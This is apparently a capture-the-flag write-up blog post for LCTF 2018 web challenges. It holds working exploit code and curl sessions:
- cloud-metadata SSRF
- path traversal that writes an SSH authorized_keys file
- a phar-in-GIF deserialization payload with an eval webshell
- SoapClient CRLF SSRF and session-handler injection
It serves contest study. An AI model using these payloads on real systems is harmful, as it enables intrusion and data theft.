Tianji's Blog.

lctf-2018

Word count: 6,476 / Reading time: 37 min
2018/11/19 Share

Web

Travel

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# -*- coding: utf-8 -*-
from flask import request, render_template
from config import create_app
import os
import urllib
import requests
import uuid
app = create_app()

@app.route('/upload/<filename>', methods = ['PUT'])
def upload_file(filename):
name = request.cookies.get('name')
pwd = request.cookies.get('pwd')
if name != 'lctf' or pwd != str(uuid.getnode()):
return "0"
filename = urllib.unquote(filename)
with open(os.path.join(app.config['UPLOAD_FOLDER'], filename), 'w') as f:
f.write(request.get_data(as_text = True))
return "1"
return "0"

@app.route('/', methods = ['GET'])
def index():
url = request.args.get('url', '')
if url == '':
return render_template('index.html')
if "http" != url[: 4]:
return "hacker"
try:
response = requests.get(url, timeout = 10)
response.encoding = 'utf-8'
return response.text
except:
return "Something Error"

@app.route('/source', methods = ['GET'])
def get_source():
return open(__file__).read()

if __name__ == '__main__':
app.run()

uuid.getnode()

uuid.getnode()其实就是mac地址。

可通过腾讯云查看实例元数据或得:

https://cloud.tencent.com/document/product/213/4934

1
2
3
4
5
6
7
8
ht@TIANJI:/mnt/d/ht-blog$ curl http://118.25.150.86/?url=http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs
52:54:00:48:c8:73/
ht@TIANJI:/mnt/d/ht-blog$ python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> int("".join("52:54:00:48:c8:73".split(":")), 16)
90520735500403

上传文件

因为nginx默认禁止了PUT方法。可以使用X-HTTP-Method-Override:PUT绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ht@TIANJI:/mnt/d/ht-blog$ curl -v -H "X-HTTP-Method-Override:PUT" -d "asd=asd" --cookie "name=lctf;pwd=90520735500403" http://118.25.150.86/upload/asd
* Trying 118.25.150.86...
* Connected to 118.25.150.86 (118.25.150.86) port 80 (#0)
> POST /upload/asd HTTP/1.1
> Host: 118.25.150.86
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: name=lctf;pwd=90520735500403
> X-HTTP-Method-Override:PUT
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 19 Nov 2018 12:02:56 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1
< Connection: keep-alive
<
* Connection #0 to host 118.25.150.86 left intact
1 ## 可以看到上传已经成功

写公钥

/home/lctf/.ssh/authorized_keys文件中写入自己的公钥即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
ht@TIANJI:~/.ssh$ curl -v -H "X-HTTP-Method-Override:PUT" -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKk5RVImVENlFHcUeCeG0TFcywxxXKGKqZBD4o7skUlIKHQcDNUke1PdC+UsvGdD25r5tLoCAHCAnNqlIO5/O30y1dffn0GzSZlKGC8TL1qWat/WjLkbdfZNsrBd1GZG6QtSEfBFOCgcu+qIAFlTDqovELEgX5Itd+nMtuAhlrdK4m6PrBB4VPsMMxCmbHFNCnLbWQK0rWtHqHhhHi9LFckBXaOpYamR3cHFmMr3jWFf2DSid6D4xifM8XzgZkr8TSNPqnVpbDC3hqTsvWGvLu7W/dqKz1+zBJ+OMbtBudMBKMQTfGjUls7u9ak716Xlza8TY0VD4UFYxXFlZN8/SL ht@TIANJI" --cookie "name=lctf;pwd=90520735500403" http://118.25.150.86/upload/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys
* Trying 118.25.150.86...
* Connected to 118.25.150.86 (118.25.150.86) port 80 (#0)
> POST /upload/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fhome%252flctf%252f.ssh%252fauthorized_keys HTTP/1.1
> Host: 118.25.150.86
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: name=lctf;pwd=90520735500403
> X-HTTP-Method-Override:PUT
> Content-Length: 390
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 390 out of 390 bytes
< HTTP/1.1 200 OK
< Server: nginx/1.14.0 (Ubuntu)
< Date: Mon, 19 Nov 2018 12:20:56 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1
< Connection: keep-alive
<
* Connection #0 to host 118.25.150.86 left intact
1ht@TIANJI:~/.ssh$ssh lctf@118.25.150.86
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-29-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Mon Nov 19 20:21:00 CST 2018

System load: 0.0 Processes: 105
Usage of /: 5.5% of 49.15GB Users logged in: 1
Memory usage: 24% IP address for eth0: 172.17.0.3
Swap usage: 0%

* Security certifications for Ubuntu!
We now have FIPS, STIG, CC and a CIS Benchmark.

- http://bit.ly/Security_Certification

* Want to make a highly secure kiosk, smart display or touchscreen?
Here's a step-by-step tutorial for a rainy weekend, or a startup.

- https://bit.ly/secure-kiosk


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

Last login: Mon Nov 19 19:06:20 2018 from 120.77.219.21
lctf@web-f1sh:~$ ls
lctf@web-f1sh:~$ cd ../
lctf@web-f1sh:/home$ ls
lctf ubuntu
lctf@web-f1sh:/home$ cd ubuntu/
lctf@web-f1sh:/home/ubuntu$ ls
Travel.tar.gz

T4lk is cheap,show me the shell

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php 
$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}


function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)){
die("Bye");
}
if ( !hash_equals(hash_hmac("md5", $data, $SECRET), $hmac) ){
die("Bye Bye");
}
$data = unserialize($data);

if ( !isset($data->avatar) ){
die("Bye Bye Bye");
}
return $data->avatar;
}


function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}


function show($path) {
if ( !is_dir($path) || !file_exists($path . "/avatar.gif")) {

$path = "/var/www";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}


function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}

function move($source_path,$dest_name){
global $FILEBOX;
$dest_path = $FILEBOX . "/" . $dest_name;
if(preg_match('/(log|etc|session|proc|root|secret|www|history|file|\.\.|ftp|php|phar|zlib|data|glob|ssh2|rar|ogg|expect|http|https)/i',$source_path)){
die("Hacker Hacker Hacker");
}else{
if(copy($source_path,$dest_path)){
die("Successful copy");
}else{
die("Copy failed");
}
}
}

$mode = $_GET["m"];

if ($mode == "upload"){
upload(check_session());
}
else if ($mode == "show"){
show(check_session());
}
else if ($mode == "check"){
check(check_session());
}
else if($mode == "move"){
move($_GET['source'],$_GET['dest']);
}
else{

highlight_file(__FILE__);
}

include("./comments.html");

上传文件

getimagesize($file_path) 可以触发反序列化

生成一个伪装成gif的phar文件上传即可。

1
2
3
4
5
6
7
8
9
10
<?php
class K0rz3n_secret_flag {
protected $file_path = '/var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif';
}
$a = new K0rz3n_secret_flag();
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?'.'><?php __HALT_COMPILER(); ?'.'>');
$phar->setMetadata($a);
$phar->stopBuffering();

访问:

1
http://212.64.7.171/LCTF.php?m=check&c=compress.zlib://phar:///var/www/data/dccb75e38fe3fc2c70fd169f263e6d37/avatar.gif&a=phpinfo();

compress.zlib用于绕过^phar检测。

EZ oauth

简述

使用Oauth登录,采用第三方TYPCN<https://accounts.typcn.com/>

注册登录

参考Google CTF 2016的题解,猜测它只判断includes('pwnhub.cn')而不是equal('pwnhub.cn'),因此搞个域名邮箱绕过邮箱验证。

后台发现有个两个接口,分别是/user/check/admin/auth。后者没参数,前者的参数分别为domainemail,且domain为隐藏参数。

img

猜测其为验证服务器,将其改为自己的服务器,得知服务器发送数据;再本地模拟一下,得知服务器返回信息。发现这里有个极度麻烦的sign签名验证,经过测试,其至少和request-idemail存在关联。因此,我们很难修改回包。因为没有任何可控数据,也无法进行哈希长度扩展攻击。另外,我们发现/admin/auth也有一个隐藏的domain参数,其除了请求API以外,发送的数据和接受的数据与/user/check相同。

img

既然签名算法无法逆向,那只能进行大胆猜测了。我们不知道result参数是否有在被签名的范围之内,如果它没有呢?

揭示了一个黄金原则:未将关键参数纳入签名范围内的签名 = 废纸

bestphp’s revenge

参考链接: https://www.anquanke.com/post/id/164569#h3-7

https://blog.spoock.com/2016/10/16/php-serialize-problem/

index.php:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);

flag.php:

1
2
3
4
5
6
7
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

利用soap触发ssrf

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();

设置user_agent头来构造CRLF

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = "http://example.com:2333/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
$c = unserialize($aaa);
$c->a();

payload.php

1
2
3
4
5
6
7
1 <?php
2 $target = "http://127.0.0.1/best_lctf/flag.php";
3 $attack = new SoapClient(null,array('location' => $target,
4 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=a0 sdtk0pk3gcf2jovjskkcp0n6\r\n",
5 'uri' => "123"));
6 $payload = urlencode(serialize($attack));
7 echo $payload;

将payload写入某个session5rtososkghp97ud5fgupgpk014

通过session_start将serialize_handler设置为php_serialize,同时将name设置为|<payload>这样的格式,写入session5rtososkghp97ud5fgupgpk014.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
ht@TIANJI:/mnt/c/Users/HT/Desktop/lctf$ curl -v -d "serialize_handler=php_serialize" "http://192.168.21.143/best_lctf/index.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A35%3A%22http%3A%2F%2F127.0.0.1%2Fbest_lctf%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Da0sdtk0pk3gcf2jovjskkcp0n6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D"
* Trying 192.168.21.143...
* Connected to 192.168.21.143 (192.168.21.143) port 80 (#0)
> POST /best_lctf/index.php?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A35%3A%22http%3A%2F%2F127.0.0.1%2Fbest_lctf%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Da0sdtk0pk3gcf2jovjskkcp0n6%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
> Host: 192.168.21.143
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Length: 31
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 31 out of 31 bytes
< HTTP/1.1 200 OK
< Date: Tue, 20 Nov 2018 03:40:43 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Set-Cookie: PHPSESSID=5rtososkghp97ud5fgupgpk014; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2910
< Content-Type: text/html; charset=UTF-8
<
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$b&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'implode'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">f</span><span style="color: #007700">],</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">])){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">];<br />}<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$a&nbsp;</span><span style="color: #007700">=&nbsp;array(</span><span style="color: #0000BB">reset</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">),</span><span style="color: #DD0000">'welcome_to_the_lctf2018'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$b</span><span style="color: #007700">,</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span>
</span>
</code>
var_dump($_SESSION);
array(1) {
["name"]=>
string(236) "|O:10:"SoapClient":5:{s:3:"uri";s:3:"123";s:8:"location";s:35:"http://127.0.0.1/best_lctf/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:56:"N0rth3ty
Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6
";s:13:"_soap_version";i:1;}"
}

$a = array(reset($arrayName), 'welcome_to_the_lctf');
var_dump($a);
array(2) {
[0]=>
string(236) "|O:10:"SoapClient":5:{s:3:"uri";s:3:"123";s:8:"location";s:35:"http://127.0.0.1/best_lctf/flag.php";s:15:"_stream_context";i:0;s:11:"_user_agent";s:56:"N0rth3ty
Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6
";s:13:"_soap_version";i:1;}"
[1]=>
string(23) "welcome_to_the_lctf2018"
}
* Connection #0 to host 192.168.21.143 left intact

php_serialize引擎反序列化

php序列化引擎,而不同引擎存储的方式也不同

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

session.serialize_handler定义用来序列化/解序列化的处理器名字。 当前支持 PHP 序列化格式 (名为 php_serialize)、 PHP 内部格式 (名为 phpphp_binary) 和 WDDX (名为 wddx)。 如果 PHP 编译时加入了 WDDX 支持,则只能用 WDDX。 自 PHP 5.5.4 起可以使用 php_serializephp_serialize 在内部简单地直接使用 serialize/unserialize 函数,并且不会有 phpphp_binary 所具有的限制。 使用较旧的序列化处理器导致 $_SESSION 的索引既不能是数字也不能包含特殊字符(| and !) 。 使用 php_serialize 避免脚本退出时,数字及特殊字符索引导致出错。 默认使用 php

php引擎去解php_serialize得到的序列化会出现如下问题:

php引擎会以|作为作为key和value的分隔符,我们再传入内容的时候,比如传入

1
2
3
$_SESSION[‘name’] = '|sky'
结果:
name|s:3:”sky”

那么使用php_serialize引擎时可以得到序列化内容

1
a:1:{s:4:”name”;s:4:”|sky”;}

然后用php引擎反序列化时,|被当做分隔符,于是

1
a:1:{s:4:”name”;s:4:” 被当做key      sky被当做value进行反序列化

构造如下payload:

1
$_SESSION[‘name’] = |序列化内容

首先通过extract变量覆盖,将b设置为call_user_func

同时,使用php_serialize引擎反序列化之后得到如下数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
var_dump($_SESSION);
结果:
array(1) {
["a:1:{s:4:"name";s:236:""]=>
object(SoapClient)#1 (5) {
["uri"]=>
string(3) "123"
["location"]=>
string(35) "http://127.0.0.1/best_lctf/flag.php"
["_stream_context"]=>
int(0)
["_user_agent"]=>
string(56) "N0rth3ty
Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6
"
["_soap_version"]=>
int(1)
}
}

$a = array(reset($arrayName), 'welcome_to_the_lctf');
var_dump($a);
结果:
array(2) {
[0]=>
object(SoapClient)#1 (5) {
["uri"]=>
string(3) "123"
["location"]=>
string(35) "http://127.0.0.1/best_lctf/flag.php"
["_stream_context"]=>
int(0)
["_user_agent"]=>
string(56) "N0rth3ty
Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6
"
["_soap_version"]=>
int(1)
}
[1]=>
string(23) "welcome_to_the_lctf2018"
}

通过SoapClient调用不存在的方法,触发反序列化.

1
2
3
4
<?php
$arrayName = array('name' => 'Soapclient');
$a = array(reset($arrayName), 'welcome_to_the_lctf');
call_user_func('call_user_func', $a);

结果:

1
2
qianfa@qianfa:/var/www/html/best_lctf$ php test.php 
PHP Warning: call_user_func() expects parameter 1 to be a valid callback, class 'SoapClient' does not have a method 'welcome_to_the_lctf' in /var/www/html/best_lctf/test.php on line 4

getFlag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
ht@TIANJI:/mnt/c/Users/HT/Desktop/lctf$ curl -v -d "b=call_user_func" -b "PHPSESSID=5rtososkghp97ud5fgupgpk014" "http://192.168.21.143/best_lctf/index.php?f=extract"
* Trying 192.168.21.143...
* Connected to 192.168.21.143 (192.168.21.143) port 80 (#0)
> POST /best_lctf/index.php?f=extract HTTP/1.1
> Host: 192.168.21.143
> User-Agent: curl/7.47.0
> Accept: */*
> Cookie: PHPSESSID=5rtososkghp97ud5fgupgpk014
> Content-Length: 16
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 16 out of 16 bytes
* HTTP 1.0, assume close after body
< HTTP/1.0 500 Internal Server Error
< Date: Tue, 20 Nov 2018 03:41:06 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 3037
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$b&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'implode'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">f</span><span style="color: #007700">],</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">session_start</span><span style="color: #007700">();<br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">])){<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #0000BB">name</span><span style="color: #007700">];<br />}<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$a&nbsp;</span><span style="color: #007700">=&nbsp;array(</span><span style="color: #0000BB">reset</span><span style="color: #007700">(</span><span style="color: #0000BB">$_SESSION</span><span style="color: #007700">),</span><span style="color: #DD0000">'welcome_to_the_lctf2018'</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">call_user_func</span><span style="color: #007700">(</span><span style="color: #0000BB">$b</span><span style="color: #007700">,</span><span style="color: #0000BB">$a</span><span style="color: #007700">);<br /></span>
</span>
</code>array(1) {
["a:1:{s:4:"name";s:236:""]=>
object(SoapClient)#1 (5) {
["uri"]=>
string(3) "123"
["location"]=>
string(35) "http://127.0.0.1/best_lctf/flag.php"
["_stream_context"]=>
int(0)
["_user_agent"]=>
string(56) "N0rth3ty
Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6
"
["_soap_version"]=>
int(1)
}
}
array(2) {
[0]=>
object(SoapClient)#1 (5) {
["uri"]=>
string(3) "123"
["location"]=>
string(35) "http://127.0.0.1/best_lctf/flag.php"
["_stream_context"]=>
int(0)
["_user_agent"]=>
string(56) "N0rth3ty
Cookie: PHPSESSID=a0sdtk0pk3gcf2jovjskkcp0n6
"
["_soap_version"]=>
int(1)
}
[1]=>
string(23) "welcome_to_the_lctf2018"
}
* Closing connection 0

###

L playground2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import re
import os
http_schema = re.compile(r"https?")
url_parser = re.compile(r"(\w+)://([\w\-@\.:]+)/?([\w/_\-@&\?\.=%()]+)?(#[\w\-@&_\?()/%]+)?")
base_dir = os.path.dirname(os.path.abspath(__file__))
sandbox_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), "sandbox")
def parse_file(path):
filename = os.path.join(sandbox_dir, path)
if "./" in filename or ".." in filename:
return "invalid content in url"
if not filename.startswith(base_dir):
return "url have to start with %s" % base_dir
if filename.endswith("py") or "flag" in filename:
return "invalid content in filename"
if os.path.isdir(filename):
file_list = os.listdir(filename)
return ", ".join(file_list)
elif os.path.isfile(filename):
with open(filename, "rb") as f:
content = f.read()
return content
else:
return "can't find file"

def parse(url):
fragments = url_parser.findall(url)
if len(fragments) != 1 or len(fragments[0]) != 4:
return("invalid url")
schema = fragments[0][0]
host = fragments[0][1]
path = fragments[0][2]
if http_schema.match(schema):
return "It's a valid http url"
elif schema == "file":
if host != "sandbox":
return "wrong file path"
return parse_file(path)
else:
return "unknown schema"

@app.route('/sandbox')
def render_static():
url = request.args.get("url")
try:
if url is None or url == "":
content = "no url input"
else:
content = parse(url)
resp = make_response(content)
except Exception:
resp = make_response("url error")
resp.mimetype = "text/plain"
return resp

os.path.join特性:

通过os.path.join特性, 实现读取/var/www/project/playground目录/文件

1
2
3
4
5
6
ht@TIANJI:~/.ssh$ python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> os.path.join('/etc', '/passwd')
'/passwd'

下载文件

1
http://212.64.7.239/sandbox?url=file://sandbox//var/www/project/playground/__pycache__&token=LRXfAXOKKIiR6y0hkqZ9VmbiO5Pkguhn09OVvwF/S5jZ9nJ4w0abYS5ADGreQd9mENGxPUQ4OLrtPOh7vuXCXBqQ/BHAyiwWONd01jW0ONdLSyLOI/fy3sr+lIvGei5ue9wd/XqM9WawN26tpaZ372nitSp6ZONiO1VGFtgwdmpgwMvUlZPgzj5vcgGRSNFj

main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/')
def index():
user = request.cookies.get('user', '')
try:
username = session_decode(user)
except Exception:
username = get_username()
content = escape(username)
else:
if username == 'admin':
content = escape(FLAG)
else:
content = escape(username)

resp = make_response(render_template('main.html', content=content))
return resp

hash.py的MDA:

1
2
3
4
5
6
7
8
9
class MDA:
def insert(self, inBuf):
self.init()
self.update(inBuf)
def grouping(self, inBufGroup):
hexdigest_group = ''
for inBuf in inBufGroup:
self.insert(inBuf)
hexdigest_group += self.hexdigest()

groupinginBufGroup 中的每个字符都单独计算hash,因此前后字符对应的hash是无关联的。所以,找到admin对应的hash,即找 a, d, m, i, n 每个字符对应的hash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
aYKp9
b962d95efd252479
e630b0372a4c511f
8c6a8874d01df770
414ec94d852dac00
0c61993750547727

KdA0k
8c6a8874d01df770
84407154c863ef36
af028d5ff3351a09
ee2d222f32215974
85281413c94bf01e


FemI5
0c13310650467719
4c38032c903bb70e
e80346042c47531a
2575a34f6948901b
6a45a255ae48d51b


JeeiR
c451045c08252f78
4c38032c903bb70e
4c38032c903bb70e
6e1beb0db216d969
6b042d0caf7bd64e


85K0n
4428201f883baf0e
6a45a255ae48d51b
8c6a8874d01df770
ee2d222f32215974
b020cd1cf4031b57

MFSG22LO.b962d95efd25247984407154c863ef36e80346042c47531a6e1beb0db216d969b020cd1cf4031b57

sh0w m3 the sh31l 4ga1n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<?php 

$SECRET = `../read_secret`;
$SANDBOX = "../data/" . md5($SECRET. $_SERVER["REMOTE_ADDR"]);
$FILEBOX = "../file/" . md5("K0rz3n". $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@mkdir($FILEBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("md5", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

